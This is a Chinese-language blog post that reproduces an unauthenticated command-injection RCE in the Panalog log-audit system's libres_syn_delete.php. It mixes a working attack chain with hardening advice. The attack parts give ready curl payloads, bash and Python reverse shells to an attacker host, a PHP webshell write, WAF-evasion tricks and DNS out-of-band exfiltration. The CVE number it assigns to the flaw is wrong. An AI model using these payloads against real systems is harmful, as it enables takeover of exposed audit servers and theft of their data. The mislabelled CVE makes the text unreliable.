Panalog日志审计系统前台RCE漏洞复现与深度分析

1. 项目概述一次对Panalog日志审计系统前台RCE漏洞的深度剖析最近在梳理一些网络设备与日志审计系统的历史漏洞时Panalog大数据日志审计系统的libres_syn_delete.php文件命令执行漏洞常被标记为CVE-2024-50623引起了我的注意。这个漏洞的典型性在于它发生在一个广泛部署于关键行业如高校、政企、金融的核心日志审计系统中并且漏洞触发点在前台无需任何身份认证危害等级极高。作为一名长期从事安全研究与渗透测试的从业者我习惯性地会搭建环境亲手复现一遍漏洞的完整利用链。这不仅能验证漏洞的真实性与危害更能深入理解其成因为后续的漏洞挖掘、安全加固乃至代码审计提供直接的思路。今天我就把这次针对 Panaloglibres_syn_delete.php前台RCE漏洞的复现过程、技术细节、踩过的坑以及一些延伸思考整理成一篇详细的实战笔记希望能给同样关注企业安全与漏洞研究的朋友们一些参考。简单来说这个漏洞允许攻击者直接向目标系统的libres_syn_delete.php文件发送一个特制的HTTP POST请求通过参数注入系统命令从而在服务器上以Web服务权限执行任意命令。整个过程就像拿到了一个无需钥匙就能打开的后门可以直接操控服务器。下面我将从环境搭建开始一步步拆解这个漏洞的利用过程并深入探讨其背后的安全缺陷。2. 漏洞环境搭建与核心原理探究2.1 目标系统与漏洞定位Panalog是Panabit公司推出的一款集流量分析、日志审计于一体的软件产品。它通常被部署在网络出口或核心旁路用于采集和留存网络流量日志并对用户的上网行为进行审计分析。libres_syn_delete.php这个文件从路径/content-apply/libres_syn_delete.php来看属于其Web应用的一部分功能很可能与同步或删除某些资源libres相关。漏洞的核心原理是命令注入。攻击者能够将可控的数据通过HTTP请求参数传入到服务器端一个用于执行系统命令的函数中如PHP的system()、exec()、passthru()或反引号操作符并且由于缺乏有效的过滤或转义导致攻击者注入的命令被成功执行。根据公开的漏洞描述和后续分析漏洞点大致可以还原在libres_syn_delete.php中代码可能直接拼接了用户可控的host参数或类似参数到系统命令字符串中然后通过shell_exec()或类似函数执行。例如可能存在如下有缺陷的代码片段$host $_POST[‘host’]; // 危险操作未对$host进行任何过滤直接拼接进命令 $command “/usr/bin/some_tool --host ” . $host; $output shell_exec($command); echo $output;当攻击者提交host|id时拼接后的命令变为/usr/bin/some_tool --host |id。在Linux Shell中管道符|会将其左侧命令的输出作为右侧命令的输入。因此系统会先尝试执行some_tool然后将其输出或错误传递给id命令执行并将id命令的结果返回。这就成功注入了系统命令。2.2 实验环境快速搭建为了安全、合法地复现漏洞我们必须在一个隔离的实验室环境中进行。我选择使用虚拟机搭建靶场。1. 靶机准备我使用了一台安装有漏洞版本Panalog的虚拟机镜像。你也可以尝试从一些开源漏洞靶场平台寻找相关环境或者根据Panabit官网可能存在的旧版本安装包进行搭建注意仅用于安全研究切勿在公网或生产环境部署。确保虚拟机网络配置为NAT或Host-Only模式与宿主机隔离。2. 攻击机准备我的攻击机是另一台Kali Linux虚拟机与靶机在同一虚拟网络内方便互访。主要工具是curl用于发送HTTP请求和浏览器用于验证结果。3. 信息收集首先需要确定靶机的IP地址和Web服务是否正常。在攻击机上使用nmap进行快速扫描nmap -sV -p 80,443 靶机IP确认80或443端口开放并且服务标识中可能包含 “Panalog” 或 “Panabit” 字样。注意在真实授权测试中信息收集阶段需要格外小心避免触发安全设备的告警。在实验室环境则相对宽松但养成良好的习惯很重要。3. 漏洞复现详细步骤与利用链拆解3.1 漏洞请求包构造与分析这是整个复现过程最核心的一步。根据公开的漏洞情报漏洞触发点在/content-apply/libres_syn_delete.php方法为POST存在注入的参数可能是host或id。我们通过构造数据包来验证。首先我们发送一个最基本的探测请求看看文件是否存在以及响应情况curl -X POST http://靶机IP/content-apply/libres_syn_delete.php -d “token1id2hosttest” -v-v参数可以显示详细的请求和响应头有助于我们分析。接下来尝试注入命令。漏洞数据包示例中使用了|id 990996.txt。我们来拆解这个Payload|管道符用于命令注入。idLinux系统命令用于打印当前用户和组信息。重定向符将id命令的输出重定向到文件990996.txt。990996.txt输出文件会生成在libres_syn_delete.php文件所在的同一目录下即/content-apply/。那么完整的利用请求如下curl -X POST http://靶机IP/content-apply/libres_syn_delete.php \ -H “User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)” \ -H “Content-Type: application/x-www-form-urlencoded” \ -d “token1id2host|id 990996.txt”关键点解析token和id参数虽然漏洞可能不依赖它们但原PoC中包含了。在实际漏洞利用中有时需要提供一些看似合法的参数值来绕过基础的参数检查或满足代码逻辑使其执行到存在漏洞的代码分支。这里保持与原PoC一致是最稳妥的。host参数这是我们的命令注入点。注入的命令|id 990996.txt会被拼接到服务器端执行的系统命令中。请求头User-Agent模仿了旧版IE在某些情况下可能有助于规避简单的WAF规则。Content-Type必须设置为application/x-www-form-urlencoded因为我们是提交表单数据。发送这个请求后如果漏洞存在服务器会在/var/www/html/content-apply/或类似Web根目录下的对应路径生成一个名为990996.txt的文件内容为id命令的执行结果。3.2 命令执行结果验证与信息获取发送注入请求后我们如何验证命令是否执行成功方法一直接访问生成的文件这是最直接的验证方式。在浏览器或使用curl访问curl http://靶机IP/content-apply/990996.txt如果返回类似uid33(www-data) gid33(www-data) groups33(www-data)的内容则证明命令执行成功并且我们知道了Web服务运行的用户是www-data这是常见的Apache/Nginx运行用户权限较低但足以读取Web目录文件甚至可能写入Webshell。方法二尝试其他命令为了进一步确认漏洞的可利用性我们可以尝试执行其他命令例如查看当前路径host|pwd path.txt然后访问path.txt。查看系统信息host|uname -a sysinfo.txt。探测内网host|ifconfig network.txt或host|ip addr network.txt。实操心得在测试命令执行时我习惯先从无害的id、pwd、whoami命令开始确认漏洞触发的稳定性。然后尝试ls -la查看当前目录文件寻找可能的配置文件、日志文件或可写目录为下一步行动做准备。避免一开始就使用rm -rf /或wget这类可能造成破坏或明显网络行为的命令。3.3 利用漏洞获取交互式Shell前台RCE的终极利用往往是获取一个交互式的Shell以便进行更深入的信息收集和横向移动。由于是命令注入我们可以通过多种方式反弹Shell。方法一使用bash反弹TCP Shell最常用假设我们的攻击机IP是192.168.1.100监听端口为4444。在攻击机上启动Netcat监听nc -lvnp 4444向靶机发送注入Payload使用bash -i重定向输入输出curl -X POST http://靶机IP/content-apply/libres_syn_delete.php \ -d “token1id2host|bash -i /dev/tcp/192.168.1.100/4444 01”Payload解释bash -i启动一个交互式bash。 /dev/tcp/192.168.1.100/4444将标准输出和标准错误都重定向到TCP连接。01将标准输入也重定向到同一个TCP连接从而形成一个完整的交互通道。方法二使用python反弹Shell如果目标系统安装了Python大概率会安装可以使用更稳定的Python单行命令curl -X POST http://靶机IP/content-apply/libres_syn_delete.php \ -d “token1id2host|python3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.100\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\”/bin/bash\”)’”这个Payload会创建一个TCP连接并生成一个带有伪终端pty的bash这样我们就能获得一个功能更完整的Shell支持命令历史、tab补全等。方法三写入Webshell如果由于网络策略限制如靶机无法出网无法反弹Shell那么写入一个Webshell是备选方案。写入一个简单的PHP Webshellcurl -X POST http://靶机IP/content-apply/libres_syn_delete.php \ -d “token1id2host|echo \”?php system(\\$_GET[‘cmd’]);?\\” /var/www/html/content-apply/shell.php”注意需要知道Web根目录的绝对路径可以通过之前的pwd命令获取。路径中的引号和特殊字符需要转义。访问Webshell执行命令http://靶机IP/content-apply/shell.php?cmdid踩坑记录在复现时我最初使用的bash反弹命令没有成功。排查后发现目标系统的bash可能被编译时去掉了网络重定向功能或者/dev/tcp这个特性被禁用。这时尝试python、perl、nc如果安装了netcat-openbsd版本支持-e参数等其他方式就非常必要。这也是为什么在实战中准备多种Payload备用是至关重要的。4. 漏洞深度分析与安全加固建议4.1 漏洞根因与代码审计视角通过复现我们可以更深入地推断漏洞的根源。这通常源于开发人员的安全意识不足直接信任了用户输入。针对PHP常见的危险函数包括system()exec()passthru()shell_exec()反引号popen()proc_open()一个安全的做法应该是白名单校验如果host参数应该是IP地址或主机名则严格用正则表达式匹配其格式。转义/过滤使用escapeshellarg()或escapeshellcmd()函数对用户输入进行处理。escapeshellarg()会给参数加上单引号并转义已有的单引号确保其被当作一个完整的字符串参数。escapeshellcmd()会转义对Shell有特殊意义的字符。避免命令执行从根本上考虑是否必须通过执行系统命令来完成这个功能是否有更安全的PHP原生函数或库可以替代4.2 影响范围与威胁评估根据FOFA等网络空间测绘引擎的搜索语法appPanabit-Panalog可以发现在公网上仍有相当数量的Panalog系统暴露。这意味着该漏洞的影响面非常广。攻击者利用此漏洞可以完全控制服务器通过获取Shell攻击者可以读写任意Web目录文件窃取日志审计数据这些数据可能包含敏感信息。内网横向移动以这台服务器为跳板攻击内网其他更重要的系统。植入后门或勒索软件长期潜伏或直接破坏。破坏日志完整性作为日志审计系统自身被攻破意味着日志可能被篡改或删除使安全监控失效。对于部署了Panalog的单位这是一个需要立即处置的高危漏洞。4.3 安全加固与整改措施如果你是Panalog系统的管理员请立即采取以下措施紧急处置临时缓解如果暂时无法升级或打补丁可以在Web服务器如Nginx/Apache配置中对/content-apply/libres_syn_delete.php这个路径进行访问控制例如限制只允许管理IP访问或者直接返回403/404状态码。Nginx示例location ~ ^/content-apply/libres_syn_delete\.php$ { deny all; return 403; }Apache示例在.htaccess或虚拟主机配置中Files “libres_syn_delete.php” Order Deny,Allow Deny from all # Allow from 192.168.1.0/24 可选允许特定IP段 /Files漏洞验证使用上文中的无害Payload如host|id test.txt检查自己的系统是否存在漏洞。根本解决官方补丁密切关注厂商Panabit的官方安全公告和版本更新。这是最推荐的解决方案。访问官方网站查看是否有针对该漏洞的安全更新或补丁发布。版本升级将系统升级到已修复该漏洞的最新版本。代码自查如果具备开发能力可以定位到libres_syn_delete.php文件审查其代码确保所有用户输入在传入命令执行函数前都经过严格的过滤或转义。长期防护网络隔离日志审计系统、安全管理系统等应部署在独立的安全区域严格限制其与外网及内网其他非必要区域的访问。最小权限原则运行Web服务的账户如www-data应仅拥有所需的最小文件系统权限避免其写入Web目录或读取敏感配置文件。部署WAF在Panalog系统前端部署Web应用防火墙WAF可以有效拦截针对已知漏洞的攻击Payload。定期安全评估对自身的关键业务系统定期进行漏洞扫描和安全评估主动发现潜在风险。5. 复现过程中的常见问题与排查技巧在复现漏洞时你可能会遇到一些问题。这里我记录了几个常见的情况和解决方法问题1发送Payload后访问生成的文件返回404或空白。可能原因1命令执行失败。Payload中的特殊字符如|,,在传输过程中可能被编码或转义。确保你的请求工具如curl正确发送了原始字符。可以先用一个简单的host|echo 123 test.txt测试。可能原因2文件生成路径不对。生成的990996.txt文件可能不在Web目录下或者Web服务器没有该目录的读取权限。尝试使用绝对路径如host|id /tmp/out.txt然后看看/tmp/out.txt是否存在这需要你有文件包含或其他方式读取。或者尝试用pwd命令先确定当前工作目录。可能原因3漏洞利用条件不满足。可能原PoC中的token或id参数在你的目标版本中需要特定的值。可以尝试抓取一个正常前端操作的数据包观察这些参数的值或者尝试将其留空、删除进行测试。问题2反弹Shell不成功Netcat监听端没有连接。排查网络连通性首先确保攻击机IP和端口正确且靶机到攻击机的网络是通的没有防火墙拦截。可以在靶机上尝试用注入执行ping 攻击机IP或curl 攻击机IP:4444在攻击机用nc -lvnp 4444简单测试TCP连通性。排查Payload兼容性目标系统可能没有bash、python3或者其版本不支持网络重定向。尝试其他Payload如使用python(Python2)、perl、php反弹或者使用nc -e /bin/bash如果安装了特定版本的netcat。检查命令是否执行先注入一个创建文件的命令host|touch /tmp/success.txt检查文件是否被创建以确认命令执行功能本身是通的。问题3请求被WAF或系统自带的防护拦截。尝试混淆Payload对注入的命令进行编码或分割。例如将id编码为$(printf ‘\151\144’)八进制或echo -e ‘\x69\x64’十六进制。或者使用变量拼接host|ai;bd;$a$b。更改请求方式/头尝试使用GET请求如果漏洞也存在于GET参数或者添加/修改一些HTTP头如X-Forwarded-For模拟正常流量。使用空字节或换行符在某些情况下在参数值中插入空字节%00或换行符%0a可能绕过简单的过滤。问题4如何判断目标系统是否受影响除了直接使用命令注入Payload还可以通过一些无害的方式探测时间盲注注入host|sleep 5观察请求响应时间是否明显延迟了5秒。这需要多次测试取平均值以减少网络波动影响。DNS外带注入host|nslookupwhoami.your-dns-log.com需要有一个可控的DNS服务器记录查询日志通过查看DNS查询记录来间接判断命令是否执行。最后我想强调的是漏洞复现是安全研究的基本功但一定要在合法、授权的环境下进行。通过亲手实践我们不仅能验证漏洞更能深刻理解其原理和危害从而更好地进行防御。对于企业安全运维人员来说面对此类高危漏洞反应速度至关重要应立即启动应急响应流程按照“临时缓解 - 根本解决 - 全面排查”的步骤进行处置。而对于安全研究者这个漏洞也提醒我们即便是安全产品自身也可能存在严重的安全缺陷在设计开发时贯彻安全编码规范在部署运维时遵循安全最佳实践是构筑真正安全防线的基石。